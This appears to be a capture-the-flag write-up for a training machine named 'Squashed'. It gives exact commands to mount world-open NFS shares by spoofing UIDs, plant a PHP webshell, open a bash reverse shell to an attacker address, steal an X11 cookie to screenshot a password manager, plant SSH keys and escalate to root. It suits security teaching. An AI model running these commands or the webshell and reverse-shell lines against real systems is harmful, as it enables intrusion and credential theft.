Squashed
Summary
I discovered that the server ($TARGET) exported two live Network File System (NFS) shares — the Apache web root and an active user's home directory — to every machine on the internet with no host restriction. By creating local accounts whose numeric IDs matched the remote share owners, I mounted both shares and impersonated their owners without any password.
As the web-service account (UID 2017), a PHP backdoor was written directly into the web root over NFS; Apache immediately served it, giving unauthenticated remote code execution. As the home-directory owner (UID 1001), I read the X11 display-server authentication cookie from ross's NFS-exported home, injected it onto the target via the webshell, and silently captured a screenshot of ross's active desktop session — which showed a KeePassXC password-manager unlock dialog with the master password partially visible.
Iterative image cropping and OCR recovered the full password. I then injected an SSH public key into a second user's account through the writable web root, obtained an SSH shell, and reused the recovered password to switch to root — achieving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered, for root>"Attack path — how the box was taken
Exact commands 2
Service scan with NFS NSE scripts to enumerate exported paths and access rules.
$ nmap -Pn -sV -p22,80,111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $TARGETConfirm which directory paths are exported and to which hosts; '*' means world-open.
$ showmount -e $TARGETFixRestrict NFS exports to specific, authorised IP addresses onlyCritical
Exact commands 4
Mount the Apache web root export locally.
$ sudo mount -t nfs -o vers=3,nolock $TARGET:/var/www/html /mnt/pt_squashed_wwwMount ross's home directory export locally.
$ sudo mount -t nfs -o vers=3,nolock $TARGET:/home/ross /mnt/pt_squashed_rossCreate local accounts whose UIDs match the remote share owners so NFS accepts file operations.
$ sudo useradd -u 2017 -M -s /usr/sbin/nologin nfsweb 2>/dev/null; sudo useradd -u 1001 -M -s /usr/sbin/nologin nfsross 2>/dev/nullVerify read/write access to the web root as the impersonated UID 2017.
$ sudo -u '#2017' ls -lan /mnt/pt_squashed_wwwExact commands 3
Write the PHP webshell as uid 2017; Apache serves it immediately.
$ sudo -u '#2017' sh -c 'printf "%s\n" "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /mnt/pt_squashed_www/.c.php'Confirm the file landed with correct ownership.
$ sudo -u '#2017' ls -lan /mnt/pt_squashed_www/.c.phpVerify remote code execution — response should show the web service account name.
$ curl -s "http://$TARGET/.c.php?cmd=id"FixRemove the web root from NFS and prevent executable file uploadsCritical
Exact commands 3
Read the user flag directly — returns <user.txt>.
$ curl -s "http://$TARGET/.c.php?cmd=cat+/home/alex/user.txt"Start a listener on the attack machine before triggering the callback.
$ nc -lvnp 4444Trigger a bash reverse shell; replace $ATTACKER_IP with my machine's IP address.
$ curl -s "http://$TARGET/.c.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$ATTACKER_IP/4444+0%3E%261%27"Exact commands 2
Read ross's X11 auth cookie from the NFS mount and encode it for transfer.
$ sudo -u '#1001' base64 -w0 /mnt/pt_squashed_ross/.XauthorityWrite the stolen cookie to the target via the webshell; replace <BASE64_COOKIE> with the encoded output from the previous step.
$ curl -s "http://$TARGET/.c.php?cmd=echo+<BASE64_COOKIE>+|+base64+-d+>+/tmp/.Xauthority"FixStop exporting live user home directories over NFSHigh
Exact commands 4
Capture ross's full desktop via X11 and save to the web root for retrieval.
$ curl -s "http://$TARGET/.c.php?cmd=XAUTHORITY=/tmp/.Xauthority+DISPLAY=:0+xwd+-root+-silent+-out+/var/www/html/shot.xwd"Download the captured screen dump to my machine.
$ curl -o shot.xwd http://$TARGET/shot.xwdConvert the XWD format to PNG for processing.
$ convert shot.xwd shot.pngCrop around the KeePassXC password field, enlarge, and OCR; replace <GEOM> with the pixel region of the password input box; repeat with tighter crops until the password reads clearly.
$ convert shot.png -crop <GEOM> -resize 600% -colorspace Gray -normalize -threshold 50% crop.png && tesseract crop.png stdoutExact commands 3
Generate a disposable keypair; the public key is planted on the target, the private key remains on the attack machine.
$ ssh-keygen -t rsa -b 4096 -f /tmp/squashed_alex_key -N ''Append the public key to alex's authorized_keys via the webshell; replace <PUBLIC_KEY> with the contents of /tmp/squashed_alex_key.pub.
$ curl -s 'http://'"$TARGET"'/.c.php?cmd=mkdir+-p+/home/alex/.ssh+%26%26+echo+"<PUBLIC_KEY>"+>>+/home/alex/.ssh/authorized_keys+%26%26+chmod+600+/home/alex/.ssh/authorized_keys'Log in as alex using the injected key — no password required.
$ ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGETExact commands 3
Enter alex's SSH session established in the previous step.
$ ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGETFrom alex's shell on the target, switch to root using the OCR-recovered password.
$ printf '%s\n' "$PASSWORD3" | su - rootRead the root flag — returns <root.txt>.
$ cat /root/root.txtFixEnforce unique, randomly generated passwords for all privileged accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 111/tcp | rpcbind 2-4 (RPC #100000) |
| 2049/tcp | nfs 3-4 (RPC #100003) |
| 33317/tcp | unknown |
| 38161/tcp | unknown |
| 40681/tcp | unknown |
| 45661/tcp | unknown |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.